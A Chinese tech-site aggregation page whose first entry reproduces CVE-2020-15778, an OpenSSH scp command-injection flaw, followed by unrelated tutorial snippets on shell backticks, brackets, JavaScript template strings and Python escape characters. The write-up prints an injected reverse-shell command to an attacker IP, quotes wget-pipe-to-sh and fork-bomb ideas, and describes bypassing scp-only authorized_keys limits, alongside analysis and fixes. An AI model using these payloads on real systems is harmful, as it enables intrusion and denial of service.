精华内容
下载资源
问答
  • 小泫@Timeline Sec本文字数:1160阅读时长:3~4min声明:请勿用作违法用途,否则后果自负0x01 简介OpenSSH是SSH(SecureSHell)协议的免费开源实现。OpenSSH是个SSH的软件,linux/unix都用openssh软件提供SSH服务。...
    上方蓝色字体关注我们,一起学安全!作者:Menge&小泫@Timeline Sec本文字数:1160阅读时长:3~4min声明:请勿用作违法用途,否则后果自负0x01 简介

    OpenSSH是SSH(Secure SHell)协议的免费开源实现。OpenSSH是个SSH的软件,linux/unix都用openssh软件提供SSH服务。scp 是 secure copy 的缩写, scp 是 linux 系统下基于 ssh 登陆进行安全的远程文件拷贝命令。

    0x02 漏洞概述

    该漏洞编号CVE-2020-15778。OpenSSH的8.3p1及之前版本中的scp允许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令。目前绝大多数linux系统受影响。

    0x03 影响版本

    openssh <= openssh-8.3p1

    0x04 环境搭建

    未安装ssh:

    进行安装

    sudo apt-get install openssh-client

    已安装ssh:
    ssh -V 查看版本信息
    bd3ca1616be768157f42061203e19d19.png0x05 漏洞复现

    前提:需要知道目标ssh账号密码

    目标:192.168.233.130

    本机:192.168.233.140

    执行命令:

    scp /tmp/hello.txt xuan@192.168.233.130:'`bash -i >& /dev/tcp/192.168.233.140/9999 0>&1`'

    6302b01f3c61e7f67de4b4c6d21fb4d9.gif

    将本地文件复制到远程机器,本来后面跟的是文件名,但是由于未正确过滤其中的特殊字符导致命令注入。

    0x06 漏洞分析在使用scp远程传输文件时,正常使用是这样的
    scp SourceFile user@host:目录/TargetFile

    在执行上面这条命令时会执行一个本地命令
    scp -t 目录/TargetFile

    对应源码如下:
    0551e79b2661977c26530ee60047a9c5.png
    源码地址:
    https://github.com/openssh/openssh-portable/blob/a2855c048b3f4b17d8787bd3f24232ec0cd79abe/scp.c#L989

    由此可以看到对用户输入的目录没有做过滤,导致攻击者可以利用反引号(` `)可以执行一些shell命令。
    反引号在linux中的作用:反引号(`)这个字符所对应的键一般位于键盘的左上角,不要将其同单引号(’)混淆。反引号括起来的字符串被shell解释为命令行,在执行时,shell首先执行该命令行,并以它的标准输出结果取代整个反引号(包括两个反引号)部分。如例程中的`date -d '-1 day' +%Y%m%d`就是把这条命令的结果赋给变量OPDATE。
    0x07 经验总结下面来看看发现漏洞的作者是怎么总结的:1、攻击者可以poweroff在文件名中放入“ ”或“ 叉子炸弹”,它会导致服务器崩溃或重新启动,这将导致DOS攻击。2、攻击者可以使用bash绑定外壳之类的各种技巧来获取绑定/反向外壳,或执行“wget https://unknownsource.com/possfullydangerous.sh -O- | sh”之类的sh文件。3、由于SHELL首先执行backtick命令,然后执行scp命令,因此我们可以在backtick中编写一个无限循环,这将导致套接字长时间打开。多次此类攻击将不会为新连接留下套接字,并会导致DDOS。对于用户来说,ssh被阻止,但authorized_keys文件中的命令选项允许使用scp的情况。您可以绕过此限制并在远程服务器上执行命令。我翻阅了大量资料,这一篇讲authorized_keys文件说明较为详细:
    https://www.ibm.com/support/knowledgecenter/en/SSLTBW_2.3.0/com.ibm.zos.v2r3.foto100/authkeyf.htm
    在某些情况下,确实是有它的价值的,我在google(国内查不到authorized_keys的资料)上查到有人设置,authorized_keys允许SCP但不允许使用SSH实际登录,当然可能较少,在这种情况下,漏洞显得很有作用了。0x08 修复方式

    1、周期性的更换密码或密钥

    2、使用rsync代替scp
    参考链接:

    https://github.com/cpandya2909/CVE-2020-15778/

    9d12259751bc1e00395cbf54997e4c20.png2733eb9f08fb09c927ef25a16bc9f289.png阅读原文看更多复现文章Timeline Sec 团队安全路上,与你并肩前行
    展开全文
  • 1.反引号其本身就对\进行了转义,保留了其本身意思,如果我们想在反引号中起到\的特殊意义,我们必须使用2个\来进行表示。所以我们可以简单的想象成反引号中: \\ = \; 2. $()中则不需要考虑\的问题,与我们平常...
    1.反引号其本身就对\进行了转义,保留了其本身意思,如果我们想在反引号中起到\的特殊意义,我们必须使用2个\来进行表示。所以我们可以简单的想象成反引号中: \\ = \;
    2. $()中则不需要考虑\的问题,与我们平常使用的一样:\ = \.

    在变量的配置当中,单引号与双引号的用途有何不同?
    答:
    单引号与双引号的最大不同在于双引号仍然可以保有变量的内容,但单引号内仅能是一般字符,而不会有特殊符号。我们以底下的例子做说明:假设您定义了一个变量, name=VBird ,现在想以 name 这个变量的内容定义出 myname 显示 VBird its me 这个内容,要如何订定呢?
    [root@www ~]# name=VBird
    [root@www ~]# echo $name
    VBird
    [root@www ~]# myname="$name its me"
    [root@www ~]# echo $myname
    VBird its me
    [root@www ~]# myname='$name its me'
    [root@www ~]# echo $myname
    $name its me
    发现了吗?没错!使用了单引号的时候,那么 $name 将失去原有的变量内容,仅为一般字符的显示型态而已!这里必需要特别小心在意!

    例题:
    在命令下达的过程中,反单引号( ` )这个符号代表的意义为何?
    答:在一串命令中,在 ` 之内的命令将会被先运行,而其运行出来的结果将做为外部的输入信息!例如 uname -r 会显示出目前的核心版本,而我们的核心版本在 /lib/modules 里面,因此,你可以先运行 uname -r 找出核心版本,然后再以『 cd 目录』到该目录下,当然也可以运行如同上面范例六的运行内容啰。

    参考:
    linux鸟哥的私房菜;
    http://blog.csdn.net/xingchao_1995/article/details/65447673#comments

    展开全文
  • 模板字符串用途

    2019-07-05 17:57:23
    取变量 var name = "liyang"; var age = 23; console.log(`I am ${name},I ${age} years old`) ... 如果想用到反引号,用斜杠转义 var name = "liyang"; var age = 23; console.log(`I \`\`am ${name},I $...
    1. 取变量

         var name = "liyang";
         var age = 23;
         console.log(`I am ${name},I ${age} years old`)
      

       如果想用到反引号,用斜杠转义
         var name = "liyang";
         var age = 23;
         console.log(`I \`\`am ${name},I ${age} years old`)
      

    2. 展示多行字符串

         $('#root').html(`
             <ul>
                 <li>一</li>
                 <li>二</li>
                 <li>三</li>
             </ul>
         `)
        
      

      <ul>标签前面会有一个换行。如果想把行首和行尾的换行、空格等去掉,则使用trim方法。

             $('#root').html(`
             <ul>
                 <li>一</li>
                 <li>二</li>
                 <li>三</li>
             </ul>
         `.trim())
      
    3. 嵌入变量的多种使用方式

      var  x= 1, y = 2;
      console.log(`${x} + ${y} = ${x + y}`)
      

      var x= 1, y = 2;
      console.log(${x} + ${y * 2} = ${x + y * 2})

      var obj = {x:1,y:2};
      console.log(${obj.x + obj.y});

    4. 调用函数

      function func(){
        return 'Hello';
      }
      console.log(`${func()} World`);
      

    展开全文
  • shell 各种符号用途总结

    千次阅读 2016-09-04 11:03:37
    本文章参考转载... () 1.命令组。在括号中的命令列表,将会作为一个子shell来运行。(cmd1;cmd2;cmd3) 2.初始化数组 a=(a1 a2 a3) ...等价于`...`(反引号),命令替换,返回括号中命令执行的结果 ((...)

    本文章参考转载http://blog.csdn.net/taiyang1987912/article/details/39551385

    ()

    1.命令组。在括号中的命令列表,将会作为一个子shell来运行。(cmd1;cmd2;cmd3)

    2.初始化数组 a=(a1 a2 a3)


    $(...)

    等价于`...`(反引号),命令替换,返回括号中命令执行的结果


    ((...))

    语法:

    ((表达式1,表达式2…))

    特点:
    1、在双括号结构中,所有表达式可以像c语言一样,如:a++,b--等。
    2、在双括号结构中,所有变量可以不加入:“$”符号前缀。
    3、双括号可以进行逻辑运算,四则运算
    4、双括号结构 扩展了for,while,if条件测试运算
    5、支持多个表达式运算,各个表达式之间用“,”分开

    eg.变量自增 ((a=$a+1)) ((a=a+1)) ((a++))   a=$(expr $a + 1) a=`expr $a+1` (注意+两边的空格) let a+=1    a=$[$a+1]

    $((...))

    双括号带$,将获得表达式值,赋值给左边的变量。


    [...]

    1.bash 的内部命令,[和test是等同的。如果我们不用绝对路径指明,通常我们用的都是bash自带的命令。if/test结构中的左中括号是调用test的命令标识,右中括号是关闭条件判断的。这个命令把它的参数作为比较表达式或者作为文件测试,并且根据比较的结果来返回一个退出状态码。if/test结构中并不是必须右中括号,但是新版的Bash中要求必须这样。

    if [ -f ~/.bash_aliases ]; then
        . ~/.bash_aliases
    fi
    2.字符范围。用作正则表达式的一部分,描述一个匹配的字符范围。作为test用途的中括号内不能使用正则。eg.[0-9],[a-zA-Z]

    3.在一个array 结构的上下文中,中括号用来引用数组中每个元素的编号。

    4. Test和[]中可用的比较运算符只有==和!=,两者都是用于字符串比较的,不可用于整数比较,整数比较只能使用-eq,-gt这种形式。无论是字符串比较还是整数比较都不支持大于号小于号。如果实在想用,对于字符串比较可以使用转义形式,如果比较"ab"和"bc":[ ab \< bc ],结果为真,也就是返回状态为0。[ ]中的逻辑与和逻辑或使用-a 和-o 表示。


    [[...]]

    1.[[是 bash 程序语言的关键字。并不是一个命令,[[ ]] 结构比[ ]结构更加通用。在[[和]]之间所有的字符都不会发生文件名扩展或者单词分割,但是会发生参数扩展和命令替换。
    2.支持字符串的模式匹配,使用=~操作符时甚至支持shell的正则表达式。字符串比较时可以把右边的作为一个模式,而不仅仅是一个字符串,比如[[ hello == hell? ]],结果为真。[[ ]] 中匹配字符串或通配符,不需要引号。
    3.使用[[ ... ]]条件判断结构,而不是[ ... ],能够防止脚本中的许多逻辑错误。比如,&&、||、<和> 操作符能够正常存在于[[ ]]条件判断结构中,但是如果出现在[ ]结构中的话,会报错。比如可以直接使用if [[ $a != 1 && $a != 2 ]], 如果不适用双括号, 则为if [ $a -ne 1] && [ $a != 2 ]或者if [ $a -ne 1 -a $a != 2 ]。
    4.bash把双中括号中的表达式看作一个单独的元素,并返回一个退出状态码。


    {...}

    1.通配符扩展

    1)对大括号中的以逗号分割的文件列表进行拓展。如 touch {a,b}.txt 结果为a.txt b.txt

    2)对大括号中以点点(..)分割的顺序文件列表起拓展作用,如:touch {a..d}.txt 结果为a.txt b.txt c.txt d.txt

    2.代码块

    创建了一个匿名函数 。与小括号中的命令不同,大括号内的命令不会新开一个子shell运行,即脚本余下部分仍可使用括号内变量。括号内的命令间用分号隔开,最后一个也必须有分号。{}的第一个命令和左括号之间必须要有一个空格。


    ${...}

    1.四种模式匹配替换结构

    模式匹配记忆方法:
    # 是去掉左边(在键盘上#在$之左边)
    % 是去掉右边(在键盘上%在$之右边)
    #和%中的单一符号是最小匹配,两个相同符号是最大匹配。

    ${var%pattern},${var%%pattern},${var#pattern},${var##pattern}
    第一种模式:${variable%pattern},这种模式时,shell在variable中查找,看它是否一给的模式pattern结尾,如果是,就从命令行把variable中的内容去掉右边最短的匹配模式
    第二种模式: ${variable%%pattern},这种模式时,shell在variable中查找,看它是否一给的模式pattern结尾,如果是,就从命令行把variable中的内容去掉右边最长的匹配模式
    第三种模式:${variable#pattern} 这种模式时,shell在variable中查找,看它是否一给的模式pattern开始,如果是,就从命令行把variable中的内容去掉左边最短的匹配模式
    第四种模式: ${variable##pattern} 这种模式时,shell在variable中查找,看它是否一给的模式pattern结尾,如果是,就从命令行把variable中的内容去掉右边最长的匹配模式
    这四种模式中都不会改变variable的值,其中,只有在pattern中使用了*匹配符号时,%和%%,#和##才有区别。结构中的pattern支持通配符,*表示零个或多个任意字符,?表示仅与一个任意字符匹配,[...]表示匹配中括号里面的字符,[!...]表示不匹配中括号里面的字符。


    2.字符串提取和替换
    ${var:num},${var:num1:num2},${var/pattern/pattern},${var//pattern/pattern}
    第一种模式:${var:num},这种模式时,shell在var中提取第num个字符到末尾的所有字符。若num为正数,从左边0处开始;若num为负数,从右边开始提取字串,但必须使用在冒号后面加空格或一个数字或整个num加上括号,如${var: -2}、${var:1-3}或${var:(-2)}。
    第二种模式:${var:num1:num2},num1是位置,num2是长度。表示从$var字符串的第$num1个位置开始提取长度为$num2的子串。不能为负数。
    第三种模式:${var/pattern/pattern}表示将var字符串的第一个匹配的pattern替换为另一个pattern。。
    第四种模式:${var//pattern/pattern}表示将var字符串中的所有能匹配的pattern替换为另一个pattern。



    Note:

    (1)单小括号,(cmd1;cmd2;cmd3) 新开一个子shell顺序执行命令cmd1,cmd2,cmd3, 各命令之间用分号隔开, 最后一个命令后可以没有分号。
    (2)单大括号,{ cmd1;cmd2;cmd3;} 在当前shell顺序执行命令cmd1,cmd2,cmd3, 各命令之间用分号隔开, 最后一个命令后必须有分号, 第一条命令和左括号之间必须用空格隔开。
    对{}和()而言, 括号中的重定向符只影响该条命令, 而括号外的重定向符影响到括号中的所有命令。


    例子可以参考:http://blog.163.com/clevertanglei900@126/blog/static/1113522592011412104238769/




    展开全文
  • Linux中小括号()和大括号{}都是对其中的一串命令进行执行,但有一定的区别,其具体含义如下:( ):括号内的命令会在一个子shell中执行(( )):将括号内的数值进行比较与运算$( ):命令替换,等同于反引号` `$(( )):...
  • 一、$( ) 与 ` ` (反引号) 的区别 在 bash shell 中,$( ) 与 ` ` (反引号) 都是用来做命令替换用(command substitution)的。但是对于初学者来说,` ` 很容易与 ' ' ( 单引号)搞混乱。 而$( ) 则比较直观。 ` ` ...
  • 模板字符串(` `)的用途

    万次阅读 2018-08-23 13:58:22
    模板字符串是在ES6中兴起,个人感觉非常有用:用反引号(`)标识,它可以当作普通字符串使用,也可以用来定义多行字符串,或者在字符串中嵌入变量。 请看下方截图代码从而可知其模板字符串的强大: 以下为转载内容...
  • PHP提供两个方便我们引用数据的魔法引用函数magic_quotes_gpc和magic_quotes_runtime,这两个函数如果在 php.ini设置为ON的时候,就会为我们引用的数据碰到单引号和双引号"以及斜线 是自动加上斜线,帮我们自动...
  • PHP提供两个方便我们引用数据的魔法引用函数magic_quotes_gpc和magic_quotes_runtime,这两个函数如果在php.ini设置为ON的时候,就会为我们引用的数据碰到单引号'和双引号"以及斜线 是自动加上斜线,帮我们自动...
  • 工具类中包含类反向转义的方法:eorderHistory....用途:当我们将html文本保存到mysql中时候,由于双引号等一些字符是java中等关键字。所以在保存时是内容是被转义过等。当我们取出来打印时,会多出一些//等...
  • 第四天主要是一些没有什么分类的命令和其他一些常用到的知识。...$() :用途反引号一样 #:表示注释,但在shell文件开头表示意义不同 $ :取变量值 输入/输出重定向: 2.1 输入重定向–不常用 < : 覆盖输入 ...
  • shell的变量功能

    2018-10-28 09:46:25
     在变量的设置当中,单引号与双引号用途有何不同?单引号与双引号的最大不 同在于双引号仍然可以保有变量的内容,但单引号内仅能是一般字符 ,而不会有特殊符号。 可以使用引号 ` 或者$()将指令连接起来。 ...
  • 转义字符

    2021-03-15 14:15:53
    当字符串中包含斜杠、单引号和双引号等有特殊用途的字符时,必须使用斜杠对这些字符进行转义 斜杠\ 单引号’ 双引号" 当字符串中包含换行、回车、水平制表符或退格等无法直接表示的特殊字符时,也可以使用...
  • python知识点要点整合(一)

    千次阅读 2021-02-15 08:20:26
    当字符串中包含斜杠、单引号和双引号等有特殊用途的字符时,必须使用斜杠对这些字符进行转义(转换一个含义) 斜杠\\ 单引号\’ 上引号\” 当字符串中包含换行,回车,水平制表符或者退格等无法直接标识的...
  • python-02

    2021-03-06 16:35:29
    # 当字符串中包含斜杠、单引号和双引号等有特殊用途的字符时,必须用斜杠对这些字符进行转义(转换一个含义) # 斜杠 \\ # 单引号 \' # 双引号 \" # 当字符串中包含换行、回车、水平制表符或退格无法直接表示...
  • 1、模板字符串es6模板字符简直是开发者的福音啊,解决了ES5在字符串功能上的痛点。第一个用途,基本的字符串格式化...ES6反引号(``)直接搞定。//以前的写法 var str='javasrcipt\ is\ amazing'; console.log(str)...
  • [Python]转义字符

    2021-01-11 15:29:14
    还有当字符串中包含有特殊用途的字符如斜杠,单引号,双引号时,可以在前面加上斜杠来输出它。 输出斜杠:\ 输出单引号:’ 输出双引号:" 转义字符在程序中的呈现 换行字符:\n print('大哥大嫂\n过年好
  • 有哪些转义字符当字符串中包含换行、回车,水平制表符或退格等无法直接表示的特殊字符时换行字符:\n回车字符:\r水平制表字符:\t退格字符:\b还有当字符串中包含有特殊用途的字符如斜杠,单引号,双引号时,可以...
  • Linux $( )与${ }的区别

    千次阅读 2013-09-10 19:04:20
    初学者也许会遇到这个问题...$( )的用途反引号` `一样,用来表示优先执行的命令,比如ls -l $(locate build.xml),表示先找到build.xml的位置,然后再列出详细信息。 ${ }就是取变量了,比如:echo ${PATH} 就是这样~
  • $( )的用途反引号` `一样,用来表示优先执行的命令,比如ls -l    $(locate build.xml),表示先找到build.xml的位置,然后再列出详细信息。   ${ }就是取变量了,比如:echo ${PATH}   就是这样~
  • 关于shell当中的$()和` `以及eval

    万次阅读 2017-03-29 11:29:35
    1.$()和` `今天我们来看一下再shell当中的几个问题,一个是$(),一个是` `。首先,我们需要明确这里这两个...操作上,这两者都可以达到相应的效果,但是,我们建议是哟个(),因为,反引号容易和单引号搞混。另外多层次的
  • Linux bash脚本

    2016-11-14 14:06:46
    $( ) 的用途反引号``一样,用来表示优先执行命令,比如ls -l $(locate build.xml),表示优先找到build.xml然后再列出详细的信息。 ${ } 就是取到变量了,比如echo $(PATH),打印出变量PATH的值. $ basename --...
  • backquote

    2012-08-18 11:32:40
    引用最常见的用途之一是用在宏定义里。 引用字符 “‘” 得名的原因是:它和通常的引号 “’” 相似,只不过方向相反。当单独把引用作为表达式前 缀的时候,它的行为和引号一样: ‘(a b c) ...
  • Node.js:console模块

    2016-11-24 09:46:00
    下面简单介绍下该模块的使用以及用途,我使用了ES6的模版字符串(使用反引号标识),有兴趣的可以去了解。 1、打印信息到stdout 使用console.log(),console.info()以及console.warn()等方法打印信息,info,warn都是log...
  • python转义字符:‘\

    2021-02-21 18:55:00
    1.python中的转义字符是指:斜杠 ‘’ ...# 输出斜杠、单引号、双引号 \\ # 输出换行、回车、水平制表符、退格 print('\n') # 换行 print('hello\tworld') # 水平制表符(注意,此处相差3个空格) print() ...
  • JS中的转义字符

    千次阅读 2015-05-10 17:37:47
    对于某些特殊的字符,无法用键盘直接键入,这时就需要使用转义字符。...还有一些字符用于特殊的用途,比如引号,如果要在字符串内包含引号,就需要使用转义字符。 每一个转义字符都是以斜杠“\”开始的。

空空如也

空空如也

1 2 3 4
收藏数 64
精华内容 25
热门标签
关键字:

反引号用途